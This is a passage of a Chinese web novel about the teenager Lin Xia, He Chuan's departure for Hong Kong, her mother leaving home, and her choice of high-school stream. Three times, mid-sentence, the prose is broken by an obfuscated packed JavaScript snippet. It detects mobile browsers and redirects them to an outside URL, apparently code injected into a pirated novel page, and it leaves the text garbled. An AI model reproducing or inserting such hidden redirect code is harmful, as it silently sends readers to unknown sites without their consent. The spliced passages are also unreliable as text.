“因为我觉得,我妈妈可能也要离开我了。” 何川也听林夏提过父母的事情,不由安慰她: “不会的,你别胡思乱想。” “不是胡思乱想,我都知道的。她想去外面的世界闯荡,就像你妈妈一样,就像......你一样。” 林夏望着天花板上蛛网一样的裂痕,缓缓的说: “我妈妈是学音乐的,从小就爱唱歌,有一副好嗓子,她能弹很优美的钢琴曲,还能唱美声,特别厉害。但是在望春这个小城市,除了当音乐老师,她没有用武之地。她年轻时本来有一个去省城发展的机会,但是恰巧生了一场大病,就没有去成,这些年来她一直心有不甘,觉得自己怀才不遇,被埋没了。虽然她从没当我的面说过这些,但是我都知道。” “而且,年初的时候,她和学校闹了矛盾。这些年她带学生练合唱练乐器,辛辛苦苦四处比赛,给学校赢回了不少荣誉,但是评高一直没有评上,今年的名额又给了有关系的人,她和校领导撕破脸皮吵起来了。然后回家又和爸爸接着吵,抱怨爸爸死脑筋,没本事。她半夜打电话给雯姨哭诉,我出去上厕所,恰巧听见了。” 大人们从来都不把小孩子当成平等的客体对待,觉得他们年纪小,不懂事,有什么事都瞒着,避着,藏着掖着,独断专行,擅自决定一切,美其名曰为他们好。从来没有意识到小孩子也是家庭的一员,是共同生活的伙伴,有权利知情,有资格发言,无忧无虑的虚假幻梦,就像七彩的泡沫一样,早晚有一天要戳破的。 尤其是对于一个十六岁聪慧早熟的少女来说,她早就过了天真无知的年纪了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也许没有,但最糟糕的日子已经过去了,接下的路即时再艰难,我想也都能捱过了。” 这个晚上,林夏和何川聊到很晚很晚,什么都说,什么都谈,天马行空,想到哪里就说到哪里,明明才十几年的人生路,却好像有说不完的话一样。 她问香港能看见海吗? 他说大概是能的。 她说从小到大她还没见过海。 他说他也是。 他问她暑假还有什么想做的事情没有做? 她说听郝婶说山上有小溪,她想去抓鱼,今天在冷饮店吃的炒冰果很好吃,她想再吃一次,她还想学骑自行车,因为她看上了高中的人都骑车上下学,他也是,她觉得很酷。 他说,好,明天他教她骑车。 因为白色不吉利,所以家里的蜡烛是红色的,上面燃烧着橙黄色的火焰,随着时间的流逝变矮,变短,然后再被另一根取代,融化的蜡油像泪一样流淌而下,统统堆积在灯台底座上,凝固成了时间的痕迹。 他们就像千年前的古人一样,在雨声烛光里,谈古论今,直到睡眼朦胧,口干舌燥,也不肯离去。 林夏连自己什么时候睡着的都不知道,她只记得这一晚她做了一个梦,梦里有中南美洲9世纪热带雨林里兴盛的那个文明所创造的20进制天文历法,还有一个温柔而小心翼翼的怀抱。 那是她整个仲夏最绮丽的一场梦。 15. 波斯菊(14) 第二天,林夏是自然醒来的,睁开双眼,山林间清晨的鸟鸣喳喳作响,新升的阳光透过薄纱窗帘投射在地砖上的影子,清透而明亮。 神经与脑细胞似乎还没跟上身体清醒的节奏,她发了半天呆,这才反应过来,自己躺在了房间里的床上。 昨晚自己是什么时候睡着的?怎么回到房间上的床?她怎么一丁点也想不起来了? 明明没有喝酒,却好像醉了一样,什么都忘了。 是何川把她搬到床上的吗?那么,他是背着她,扛着她,还是抱...... 林夏不敢细想下去,胡乱套上件衣服起了床。 洗漱完从卫生间出来后,只见何川已经做好早饭端上了桌,浓稠的白粥,清甜爽口的凉拌榨菜丝,还有郝婶送来的野菜馅儿的包子。 吃饭的过程中,林夏一直低头拼命喝粥,不敢抬头多看何川一眼,怕他提起昨晚,不仅是后来她怎么进的屋这件事,还有昨晚她倒豆子一样向他一口气倾诉了那么多心里话,现在想想也挺难为情的。 “你喜欢大象吗?”何川突然问。 林夏一愣,茫然抬头:“什么?” “我说,你喜欢大象吗?” “还行啊,怎么了?” 何川慢条斯理的说:“我以为你比较喜欢大象,所以在学大象用鼻子喝粥。” 林夏慢半拍才反应过来他的意思,脸一下子涨红了,心里简直又好气又好笑,她用力把勺子拍在饭桌上,控诉道: “你又笑话我!” 何川含笑看着她:“我只是怕是你喝粥呛到,好心提醒。” “我谢谢你啊!” “不用。” 林夏轻哼了一声,终于好好坐直了身子,拿起勺子重新吃饭,但嘴角的笑意却怎么也掩饰不住。 相处久了,她发现他也没有看起来那么成熟稳重,正经内敛,他其实特别坏,特别......喜欢逗她。 可她不讨厌,也不生气,一丁点也不。 “你有长裤吧?”何川问。 “有啊。”林夏答。 “吃完饭换一件长裤吧。” “嗯?为什么?” 她喜欢穿裙子,不喜欢穿裤子。 何川好整以待的说:“不是说想学骑车吗?穿裙子不方便。” 林夏眼睛一亮:“你真的要教我啊!” “我不是答应你了?难道你不想学了?” “想想想!吃完饭我们就学!” 林夏说着,三口两口把手里剩的半个包子塞进了嘴里。 “慢点,别噎着。” 何川无奈摇了摇头,然后他想了想,又说:“这附近路都不好,没有太平整的地方,我们去市区里,公园广场,或者我学校操场上也行......” 林夏费了半天劲儿才把包子咽下去,刚想说,她比较想去实验高中,突然间,门外传来了一阵汽车引擎的声响。 家门前这条路,除了线车和拉木材的车外,每天少有车辆经过,而且听声音,那辆车还停在了院子门口。 林夏和何川不禁对视了一眼,何川起身想要出门去看看。 然后他们就听见前院传来熟悉的对话声: “师娘,快,让我来拎,这么沉!您和师叔都晕车了,这路太颠了。” “凯仁你受累了,我还行,就是老师有些头晕。” “来来来,咱们快进屋!” 只见刘凯仁拎着行李箱挑开了门上纱帘,何萍与林海生跟在他后面相继走进了门,林海生虽然额头有汗,但看起来精神还不错,何萍更是满身喜气,抬头一看见客厅里的两个孩子,不由笑了开来: “小川,夏夏,我们回来了,你们两个在家还好吧?” 对于这突如其来发生的一切,林夏整个人都僵在了原地,她下意识的看向身旁的何川。 只见何川面无表情站在原地,凝滞三秒后,他露出了一个浅浅的笑,那笑是礼貌的,妥帖的,乖巧的,斯文的,然后他得体的开口叫人: “林伯伯,妈,凯仁哥,你们回来了。” 那一瞬间,林夏恍然觉得眼前的何川是那么陌生,离自己那么遥远,同那个会为她擦眼泪,骑车载她去租碟,开玩笑逗她的何川,判若两人。 仲夏夜之梦,既然是梦,那么总要有梦醒的那一天。 . 林海生身体不适,简单问了问两个孩子的情况,确定他们没吵架,没闯祸,没丢东西,没饿死自己后,就进房间休息了。 林夏随即也躲进了自己的房间,然后悄悄趴在门缝往客厅偷看。 她看见何萍忙前忙后的招待刘凯仁,收拾带回来的行李。 他们走了时候,带去了两个行李箱,回来的时候竟然拖了四个,装了好多好多东西,有一看就很名贵的笔墨纸砚、各种玉石制品,古旧书籍,还有一些何萍的新衣服新首饰。两个孩子也没白白看家,都有礼物,林夏得到了一条很漂亮的丝巾,而何川又得到了一个航模。 林夏怀疑,无论是何萍还是刘凯仁,他们都不知道亦或者不在乎何川真正喜欢什么,上一个送给他的航模,林夏从来没见何川摆弄过。 虽然林海生与何萍什么也没说,但是从两个人的心情能看出来,那个什么展览什么讲座,应该举办得很成功。 林夏突然觉得很生气,她觉得林海生和何萍特别过分,不管怎么样,他们都算是家长,就这样随便走掉,把两个半大的孩子扔在家里,几乎一个电话也没来——赵倩怡和林学东给她打过好几次电话呢!一走一个多月,然后又毫无预兆的突然回来,实在是不负责! 如果是她在家中事事被父母隐瞒,顶多是一种传统家庭对孩子普遍性的不信任不重视,那么何川在这个家里,恐怕是被彻底忽视,彻底的不在意。 但是没有办法啊,他的身份有多么尴尬,林夏再清楚不过,如果说何萍是无名无份,那么何川说上一句寄人篱下也不为过。有人出钱养活,供他吃住,供他读书,大概已经算是一种很好的境遇了。 不知道为什么,这样明摆着的事情,林夏以前竟然从没考虑过,此时此刻当她终于想明白之后,她突然觉得很心疼,心疼何川,同时也觉得理解,理解了他习惯性的稀释自己存在感,近乎克制的情感流露,以及得体稳重的保护色。 正在她胡思乱想的时候,她听见何萍和何川的对话: “小川,你的录取通知书取回来了吗?” “取回来了。” “哪天开学?” “15号。” “我听凯仁说,要是去香港的话,还得办什么通行证,签证......” “已经都办好了。” “那就好,”何萍很满意,然后她对刘凯仁说,“我就说过,小川能自己办好这些吧。” 刘凯仁也忍不住赞叹:“这孩子实在是太懂事了,这么小的年纪就这么有本事,这些手续很多大人都办不明白。” “小川,明天你凯仁哥哥回北京,正好你跟他一起回去,车票他都买好了,到时候他在北京送你上飞机,直接飞到香港。离你开学没剩几天了,你早点去早做准备。” 林夏听在耳朵里,心中一惊,差点要喊出声来: 不要! 他还没教她骑自行车!他们还要去溪边抓鱼!租来的碟片还有两部电影没有看,明天就到期要还了! 她不要他走! 可无论她出不出声都没有用,她的意见和他一样,没人会听,没人会在乎。 于是她只能眼睁睁看着何川点点头,平静的接受了这一安排: “麻烦凯仁哥了。” . 接下来,刘凯仁带何川去了市区,说是带他买一些上学需要的生活用品,他见多识广,比较有经验。 他们直到晚上才回来,吃完晚饭,何川又开始收拾行李,火车是明天一早的,留给他准备的时间不多了。 林夏一直想和他说话,却没找到机会,何萍留在他的房间里,母子俩个不知道说了什么,一直到很晚。而何萍离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627094|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开后,刘凯仁又在客厅看电视,他今晚住在这里,就睡在客厅的沙发上,林夏要去何川的房间,就必须要穿过客厅才行,不可能不被他发现。 而她与他,这一个多月以来,在这栋房子里发生的所有事情,他们的亲密,他们的羁绊,她不想让任何人知道,也不能让任何知道,这是只属于他们两个人的秘密。 这一夜林夏脑袋里思绪万千,乱七八糟,几乎没睡着觉,天亮时分好不容易睡了一小会儿,又被光怪陆离的噩梦惊醒了,睁开眼睛一看,外面天已经大亮了。 林夏吓了一大跳,蹭了一下坐了起来,急急忙忙穿上衣服,跑出房间,只见何川和何萍正在客厅吃早饭,他的行李箱放在门口,而林海生还没醒,墙上的时钟显示,此刻的时间是6:03. 林夏长松了一口气,悬着的心终于落下来了。 她还以为他已经走了,她还以为他们错过了,她还以为她连和他道别都不能了。 何萍看见林夏一动不动傻站着,嗔怪了一声: “夏夏还没睡醒吗?傻站着干什么,快去洗脸!” 林夏胡乱应了一声,跑到了卫生间,在水龙头下接了一捧凉水泼在了脸上。 虽然没有错过,但留给她的时间也不多了。 正擦脸的时候,她听见外面何萍接了个电话,然后对何川说: “你凯仁哥打到车了,正在往这边来,你去道口迎一迎他吧。我就不送你了,炉子上熬着药,走不开人,你自己机灵一点,别给凯仁添麻烦。” “好。” 林夏从洗手间出来的时候,正好和要出门的何川撞见了,两个人不约而同的停下了脚步,对视了几秒,然后何川不易察觉的对她笑了笑,说了一句再见,就拖着行李箱出了门。 那笑容是温暖的,不舍的,伤感的,发自内心的。 林夏看着何川离开的背影,一颗心咚咚直跳,她突然觉得自己应该做什么,必须做什么,哪怕为了这抹笑。 然后她以平生最快的速度,冲回房间,换了套衣服,拿起桌上昨晚准备的东西,跑到厨房,尽量以最平和,最随意的语气开口,对何萍说: “昨天刘叔叔送我丝巾,我忘了谢谢他,趁现在我去跟他说一声。顺便,送一送......小川叔叔......” 林夏盯着何萍的眼睛,小心翼翼的问: “行吗?” 何萍闻言一愣,有些诧异,然后她脸上泛起欣喜,眉开眼笑的说: “你这孩子,真是懂事,看来这些日子是和你小川叔叔相处出感情了,快去吧,一会儿他们该走了。” 林夏根本没听清她说什么,只知道她同意了,于是赶紧胡乱点了点头,匆匆忙忙跑了出去。 . 何川背着书包,拖着行李箱,沉默的走在路上。 小路是土路,凹凸不平,很多石子沙粒,行李箱是昨天新买的,崭新的轮子滚动在地上,咯吱咯吱作响,可他一点也不在意。箱子很小,对于一个即将从北跨南出远门求学的人来说,他的行李实在少得可怜,但这确实已经是他在身后那栋房子里全部的东西了。 不过是从一个落脚点到另一个落脚点而已,不需要太多身外杂物,对此他早已经习惯了。 对于前路,他并不迷茫,也不忐忑,相反他很坚定,他一直清楚的知道自己要什么,也会为了那个目标拼命走下去,无论需要多少努力,无论付出多大代价,他都不会放弃。 除此之外,什么都不重要。 “何川!” 恍然间,他听见有人叫他的名字,下意识停下脚步,回过头来,他看见那穿着花裙子的小姑娘奔着他跑来,站定在他的面前,脸上洋溢着灿烂的笑意。 她被水打湿的刘海儿还没来得及擦干,年轻的脸颊上如水蜜桃一般细小的绒毛真切得清晰可见,她笑时会露出一颗小小的虎牙,调皮又孩子气。 她背着手,好像办成了什么了不起的大事一样,语气得意又骄傲: “何川,我来送你!” 16. 波斯菊(15) 何川与林夏站在路口等待刘凯仁和出租车过来,这是他们最后几分钟相处的时间。 何川看了一眼林夏身上的衣服,笑了一下: “我以为你把它丢掉了。” 她今天穿的这件裙子,就是那时他骑车载着她摔倒,弄破弄脏了以后,他亲手洗干净,又求郝婶缝补好的那件。 “怎么可能?这是你的心意啊,我怎么可能丢掉!” 她是特意穿这件裙子来送他的, “不过早上有点冷。” 凉风吹过,吹得她露出来的肌肤上都起了鸡皮疙瘩,她有些难受的动了动腿。 山里的早晚确实冷一些,但是往常也没有这么冷。 何川说:“今天立秋了。” 他早上撕日历的时候发现的。 林夏一愣:“竟然已经立秋了?” 日子过得真快。 望春的节气变化特别明显,不知道是巧合,还是古人的智慧真的那样神奇而伟大,清明就一定下雨,小雪就一定下雪,立秋就一下子早晚凉了起来。 “所以我最讨厌东北这点,”林夏忍不住抱怨,“夏天实在太短了,明明这才八月份,漂亮衣服都没机会穿。” 每年夏天,她都必须争分夺秒,抓紧时间,才能勉强把衣柜里的夏天裙子穿一遍。 “我刚来这边的时候也不太习惯,但后来觉得也不错,”何川说,“四季分明,至少能清晰的感觉到时间。” “哪里有四季啊!”林夏愤愤不满,“要我说东北只有两季,分别是冬季,和准备进入冬季。” 何川不禁笑了出来: “你说的......倒也很准确。” “我以后要去夏天很长很长,气温很热的城市,我要一年四季都穿裙子!” 说起节气,林夏突然想了起来, “你还记不记得,我之前说过‘中秋有雨冬至晴’这句话。” “记得。” “不如我们今年试一试吧,马上就是中秋节了,如果中秋节下雨,我们一定要记住,然后一起看一看今年的冬至是不是晴天,”林夏轻声说,“你说,好不好?” “好啊,”何川答应了她,“只不过香港的天气可能不适用东北的谚语。” 林夏瞬间笑了开来,满心满眼都是欣喜:“没关系!反正冬至我们还是要在望春过的啊!” 这才是,她与他定下这个约定的目的。 12月末的时候,她和他差不多都放寒假了,到时候他们要一起验证这句话的真伪。 正说着,只见路的尽头出现了一辆鲜红色的出租车,正在往这边驶来,马上就要开到眼前了。 何川说:“我要走了。” 林夏这才想起来背着的手里还有东西,急忙拿到前面来递给他: “这个给你,这个话梅,很酸,我每次晕车的时候吃几颗会比较管用,你这一路坐汽车,坐火车,坐飞机,不晕也要晕了。还有这张书签,这是我画的,也送给你!” 何川接过那袋还是他买给她的话梅,然后又接过那张书签,发黄的硬纸片裁成了巴掌大小,上面用水粉画着几朵大波斯菊,玫粉与浅粉相间,摇曳生姿,生动鲜活,画画的人一定观察过这种花千百遍,才能画成这样真实自然,只要看上一眼,就能想起小林场的这片山林这片花海这个夏天。 出租车的鸣笛声已近在耳边,别离在即,何川珍而重之的收起了这两样礼物,低声说: “林夏,谢谢你。” 感谢这个夏天,与你的相遇。 ...... 何川的离开,不仅带走了整个夏天,也似乎将林夏的整个暑假一并带走了。 和林海生与何萍一起共同生活在一个屋檐下,尴尬,压抑,别扭,已经不是简单的一句无聊可以概括的了。 林海生身体一直不好,在北京看了中医,开了一大堆药,何萍每日早晚都点起小炉子熬药,房子里里外外都飘散着焦苦的气息。桌上每日的饭菜又变成林夏不爱吃的了,她试图反抗,却被林海生训斥挑食,导致她在桌上饭越吃越少,本来前段时间被微胖的几两肉,迅速又瘦回去了。没人能带她去市区了,林海生和何萍根本不允许她单独出门,那之后张瑞楠又张罗了两次聚会,她都没法参加,后来她上了高中之后与初中这几个朋友都几乎没再联系,她很怀疑与这件事有关,也许她那同桌小肚鸡肠被她拒绝后趁她不在说了她的坏话也说不定。 天气渐渐凉了起来,林夏每天都借口画画躲在房间里不出门,画鸡蛋,画苹果,画丑兮兮的锅碗瓢盆。只有郝婶家的三花猫偶尔会从她窗外跳进来串门,它的几个孩子都被送走了,只剩它自己孤孤单单一个了,林夏觉得自己的处境和它很相似。 她摸着猫咪漂亮的皮毛,小小声问: “你也想何川了吗?” 她也想了。 林夏每天都掰着手指头数着日子,盼着林学东回来,终于在她高中临开学的三天前,林学东来到了小林场把她接回家了。 但是赵倩怡没有跟他回来,她留在了省城和李雯一起开声乐培训班,她其实早就辞职了,在去省城之前。 林夏知道这一结果的时候,一切已经尘埃落定了,虽然早有预料,但她还是很伤心。她偷偷哭了几场,很长一段时间晚上都是湿着枕头睡觉的,但成年人的决定不会因为一个孩子的眼泪而改变。 赵倩怡可能对林夏也有点愧疚,给她打电话,保证一有空就会回望春,让她上了高中好好学习,坚持去画室画画,听爸爸的话,放假了带她去省城玩。 沉浸在初次离开妈妈的思念里,林夏开始了她的高中生活。 实验高中高一新生一共二十个班级,一至四班是严格按照中考排名前200名划分的重点班,配备了学校最好的老师,占据了教学楼最优越的地理位置,从开学报道日当天晚上就开始上晚自习,争分夺秒,力争赢在起跑线上。 但是这些和林夏没有关系,她文化课的成绩排名和点班无缘,被随随便便分到了高一十三班,比上不足比下有余,军训以后按部就班的开始上课,有了新的同桌,新的老师,新的同学,高中课程很难很多,但老师要求不太严,总体来说,没有她想象的那么恐怖。几次考试以后,她的成绩稳定的排在班级中游,马马虎虎,还算过得去。 她的新班主任老师叫张兰兰,教语文的,刚刚从省城师范毕业,二十出头,长得又年轻,看起来和他们就像是同龄人。这是她上班以后带的第一届学生,和所有初出茅庐的年轻人一样,她满腔热血,平易近人,面对学生们完全没有架子,她让大家不用叫她老师,叫她兰姐,彼此像朋友一样相处。而且她不像其他老师一样歧视艺术生,她觉得林夏很有才华,对她很赏识,把班级里布置教室画黑板报的工作全权交给林夏负责,放学后还给林夏买零食买饮料犒劳她。林夏特别喜欢她,她第一次这么喜欢一个老师。 上了高中以后,为了防止早恋,不再男女混坐,都是男生和男生同桌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627095|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生和女生同桌。林夏的新同桌叫徐畅,是个戴着厚厚镜片,剪着齐肩短发,看起来就是学霸的女生。但后来她发现徐畅的成绩和她差不多,她虽然文科分高,但偏科偏得厉害,数学从来不及格,因为她把上数学课的时间都用来看小说了。 徐畅酷爱看言情小说,家里的书多到书架放不下,天天放学要跑到学校对面租书的店租那种很厚很旧的长篇小说,每月杂志新刊一期不落,还在MP3里下很多电子书,藏在书桌里面,上课上自习的时候眯起眼睛用小小的显示屏偷看,林夏怀疑她的眼睛就是这么累近视的。 徐畅也看漫画,她人很好,很大方,每次买了新漫画书都借给林夏看,两个人经常凑在一起讨论情节,他们两家住的也很近,每天一起上下学,感情越来越深厚。 虽然她很倒霉,班上没有一个初中时代好朋友,但有张兰兰和徐畅在,林夏觉得高中生活也挺开心。 有一些艺术生考上高中以后就放弃了特长,不再走艺术生路线了,但林夏确定以后还会往这方面发展,所以还是继续学画画,每周二、周四、周五晚上,周六一整天她都会去画室,开始学习人像、速写,为高考的艺考做准备。虽然很累,但因为是自己热爱的事情,所以不觉得辛苦。 因为家离学校不太远,所以林夏没有住校,也不用骑自行车,每天走读,中午在食堂吃,晚上回家。林学东无论单位工作多忙,每天都雷打不动准时回来给林夏做晚饭,久而久之,林夏差不多已经习惯赵倩怡不在家的生活了。 赵倩怡在省城那边似乎特别忙,忙着招生,忙着带学生,中秋没回家,国庆没回家,元旦也没回家,之前说好的往家里一周打一次电话也时不时失约,连个解释也没有。 不过也有一样承诺赵倩怡兑现了,她终于给林夏买了手机。 这是林夏人生中第一部手机,是一款特别漂亮的翻盖手机,天天在电视上做广告,女明星拿着它拍得唯美又浪漫,林夏暗地里喜欢很久了,如今终于能如愿以偿,她特别开心。 拿着手机,办了手机卡,然后打给她所有的朋友,昭告天下,一个个存入号码,爸爸的,妈妈的,张瑞楠的,姜玉华的,徐畅...... 但是,没有何川的。 他们没有电话号码,没有通讯地址,没有□□好友,没有任何联系方式,现代社会通信如此便捷,但失去一个人的消息也是那样容易。 高中的寒暑假要比初中短得多,一月上旬学校才考试,然后放假,林夏盼星星盼月亮,终于等到除夕那天林学东才带林夏去小林场拜年。父子两个的关系最近似乎有所缓和,这是时隔数年后,林学东第一次去林海生家里过年。 林夏满心以为这回终于能见到何川了,没想到去了之后才发现,原来何川根本没有回望春。 她很想问为什么?他功课很忙吗?没抢到回来的票吗?出去旅游了吗?难道是交女朋友了吗...... 但她什么也不能问,什么也不能,她与他之间在众人眼中那丁点微弱的,尴尬的,近乎没有的关系,不足以支撑她过分追问与关心。故而她只能保持沉默,把疑问吞进肚子里,假装一副对那个不知道该叫小川哥哥还是小川叔叔的人一点也不在意。 何萍在厨房煮饺子,林海生与林学东父子在下象棋,林夏坐在沙发上,呆滞着看着电视机里播放的春节联欢晚会,心里一点喜庆也没有。 这个年夜,赵倩怡没回来,何川也没回来,林夏赌气地觉得这个年过不过也没什么意思。 17. 波斯菊(16) 赵倩怡是大年初二早上才回家的,只在家待了三天,又要走,她说培训班那边正是最忙的时候,离不开人,李雯一个人顾不过来,她必须去,能回来三天已经很难得了。林学东对此没说什么,赵倩怡怕林夏不开心,给她买了几套漂亮衣服,许诺忙完这阵子一定好好回来陪她。 但林夏对她的许诺已经不太抱希望了,对她的离开也没有最初那样伤心了,于是她只是乖巧听话的说,好,妈妈你去忙吧。 日后很多时候,林夏回忆起与赵倩怡母女感情转淡的根源,也许就是从这个阶段开始的。十六七岁青春期的孩子,最是敏感脆弱的年纪,三观形成的关键时期,家长在其中扮演的角色尤为重要,此时此刻的缺席,是日后无论如何也弥补不了。 倒也说不上是谁的错,只是每个人的人生自有选择,世上本就有那么多的遗憾与错过。 寒假过后,开始了高一的下半学期,日子还是平淡无奇的那样过去,很快,林夏和同学就面临了人生中关乎未来前途的第一个选择题——分文理。 某天张兰兰向大家下发了一张表格,让大家填录文理志愿,等这学期结束以后,学校会根据整个高一四次考试的成绩重新分班。她嘱咐学生,表格下周一交,大家回家好好和家长商量一下,要综合自己实际情况和未来规划慎重选择。 对艺术生来说,学文学理并不重要,但是大部分艺术生会选择学文,因为很多理论性专业只招收文科生。 林夏大概看了一眼表格,然后问同桌徐畅: “你也学文是吧?” 没想到徐畅从小说里把头抬起来,推了推眼镜回答: “没有啊,我要学理。” 林夏特别惊讶:“可是,你理科那么烂......” 如果她没记错,徐畅的化学和物理几乎没及格过。 因为是亲生的同桌,所以被这么吐槽徐畅也不生气,她耸耸肩无奈的说: “没办法,我爸非要让我学理的,他说学文以后找不到工作,学理才有好出路。” 有好出路的前提是得学得好吧? 林夏不知道说什么好。 很多家长就是这样罔顾孩子个人意愿,罔顾客观现实,用有限的眼界与经验,打着为你好的名义,试图操控孩子的一生。 “那你想学文学理啊?” 徐畅很无所谓:“我随便,反正无论怎样最后还是听我爸的。” 很多孩子也真没有个人意愿,也不知道是长期被父母压制导致,还是一开始就没有自己的想法。 林夏有点郁闷,她一直以为徐畅一定会学文的,她俩的成绩一直差不多,这样到了高二说不定她们还能分到一个班,没想到现在她居然要去学理了。 为此,林夏惦记了一上午,直到中午值日的时候还在想着。 她这周是值日生,负责擦窗台,不仅包括教室走廊,还有一片分担区,就在三楼到四楼的消防楼梯那段。 现在午休,教学楼很安静,楼梯间一个学生都没有,她一边机械般用手里抹布的擦着窗台,一边寻思着,要不她也学理吧?反正她也不想考美术理论类的专业,而且她的文理科成绩比较......嗯,比较平均,比上不足比下有余,只有英语比较烂而已。 正在发呆的时候,她突然发现窗外楼下站着一个人,似乎......是兰姐?嗯,是她,她今天穿的确实是这件衣服。 她正在打电话,听不见讲了什么,但看她的神情动作很激动,好像在吵架,她的指尖有一点星火一闪一闪的,竟然是在抽烟。 这里是教学楼后面的一片僻静的空地,一般没有人来,林夏觉得自己发现了了不得的东西,但又克制不住好奇心,小心翼翼的继续偷看着。 张兰兰的电话大约讲了半个小时,和对方不欢而散,她狠狠的合上了滑盖手机,把手里早就抽完的烟蒂扔到了一个不易察觉的角落里,熟练的毁尸灭迹,然后走进了教学楼。 林夏有点慌张,但是又无处可躲,急忙低头装作继续擦窗台的样子。 不一会儿张兰兰果然上了楼,看见林夏还招呼了一声 “这周你是值日生啊!” “兰姐......” 林夏有些不自然的开口,连目光都不敢和她对视。 张兰兰意识到了什么,往窗外看了一眼,不禁也有点尴尬,但她很快恢复了正常,冲林夏眨眨眼,有点调皮: “可别告诉教导主任啊,学校里不让老师抽烟,前天地理老师刚被他逮住。” “啊?” 林夏很惊讶,怪不得,前天地理老师给她班上课时像吃了枪药一样,好多同学都因为错题被骂了。 原来老师,也像他们学生一样害怕教导主任啊...... 被张兰兰这样一说,林夏突然觉得没那么尴尬了,她用力点了点头: “嗯,我会帮兰姐保守秘密的。” 然后她忍不住又问: “兰姐,刚才你在和谁打电话?看起来,你好像很生气......” “我男朋友,那个混蛋又惹我生气。”张兰兰长叹一口气。 林夏知道张兰兰有男朋友,下课闲聊的时候,她跟同学们说过,而且她男朋友是酒吧的老板,听起来...是离他们很遥远的职业,很神奇。 “林夏你有没有男朋友啊?”张兰兰刻意逗她,“据我所知,班上好几个小子瞄着你呢!” 听见这话,林夏脑海里不期然闪过一个穿白衬衫少年的身影,脸红了一下,她急忙摇头: “没有,我都不喜欢他们。” “好,咱们小林夏是好孩子,才看不上那几个臭小子呢!不过你可记住了,以后如果处对象,千万要找一个温柔细心的,那种性格大大咧咧大男子主义的,成天就会惹你生气!” 林夏知道她在抱怨自己男朋友,不由笑了起来。能和班主任讨论被视为“十恶不赦”的早恋问题,真是很有趣很稀奇的经历,不是每个学生都有机会遇见的。 “兰姐,下学期你教文科班还是理科班啊?”林夏问。 “我应该是教理科普班。” 林夏又惊讶了:“为什么?你不是语文老师吗?” 张兰兰笑了:“理科班也得学语文啊,而且还得更重视才行,以后文科点班的班主任就是现在教点D班的数学老师。小林夏不偏科,要不要学理继续当兰姐的弟子啊?” 林夏真有些心动了。 徐畅和张兰兰都去了理科班,她自己一个人孤孤单单的去文科班有什么意思?从普班到点班比较困难,但如果只是去普班,应该还是有选择余地的。 当天回家之后,林夏就把想法和林学东说了。 林学东也知道,艺术生学文学理没什么区别,他们家确实没讨论过这个,但他思考了一会儿,还是说: “周末打电话的时候,你跟妈妈说一下这个事,如果她不反对,那么爸爸没有意见。” 林夏高兴的点头:“好!” 然而她没想到,这件事遭遇了赵倩怡的强烈反对。 “不行!学什么理啊?你必须学文!理科到了高二高三可没有现在那么简单,到时候你的成绩一定会退步的。而且你高三要出去集训,理科文化课落下不好补,少听一节课后面你就跟不上了,别到时候艺考考上了,文化线再没过,那就白努力了!” “学文不好找工作,学理就业面广。”林夏不得已搬出了徐畅爸爸的说辞。 “你一个美术生管这些干什么?他们所有人一窝蜂选理,到时候我看谁找不到工作。我算过你的成绩排名了,如果学理,你只能去普班,学文的话,如果你期末再考好一点,说不定能分到点班,点班的师资力量都比较好,你的成绩也能再提升提升。” 林夏不服气,垂死挣扎:“但是张老师,和徐畅都去理科班了,我不想去点班,我想和她们在一起......” 电话里传来赵倩怡不屑的声音:“老师同学算什么?她们能跟你一辈子吗?她们有你的前途重要吗?你还小,你现在的想法太幼稚了,等以后你就会知道我是为了你好。总之这件事没有回环余地,你必须学文。” 放下电话以后,林夏很难受很难受,很想哭。 其实理智上,她也承认赵倩怡说得句句在理,可心里就是不舒服。 老师同学不重要吗?师生情朋友谊不重要吗?因为她没长大,所以她的感情她的感受就不重要?还是说即便她成为了大人,人与人之间的感情依然没有前途利益重要? 就像......她和林学东在赵倩怡心目中一样? 她终究和徐畅一样,对于自己的人生大事没有决定权。 算了,就这样吧。 . 就这样,高二开学之后,林夏独自一人去了文科班。 由于全年级一大半的学生都选择了理科,所以原来二十个班级,重新划分为十二个理科班与八个文科班,其中一至三班是理科点班,十三班是文科点班。而原来四个点班的学生更是大多数都选择了理科,这导致理科点班竞争激烈,文科点班反而空出了名额,林夏的综合排名正好卡在分数线,于是就这样稀里糊涂的上了文科点班十三班,这倒是和赵倩怡预估的一致。 然而林夏很快发现,点班的生活对她来说简直是一场噩梦。 在新的班级里,她失去原来高一所有要好的朋友,周围全都是陌生人,唯一的惊喜是初中时的好朋友姜玉华和她同在一个班,但是仅仅一年不见,她变化好大,林夏差点没认出来她。 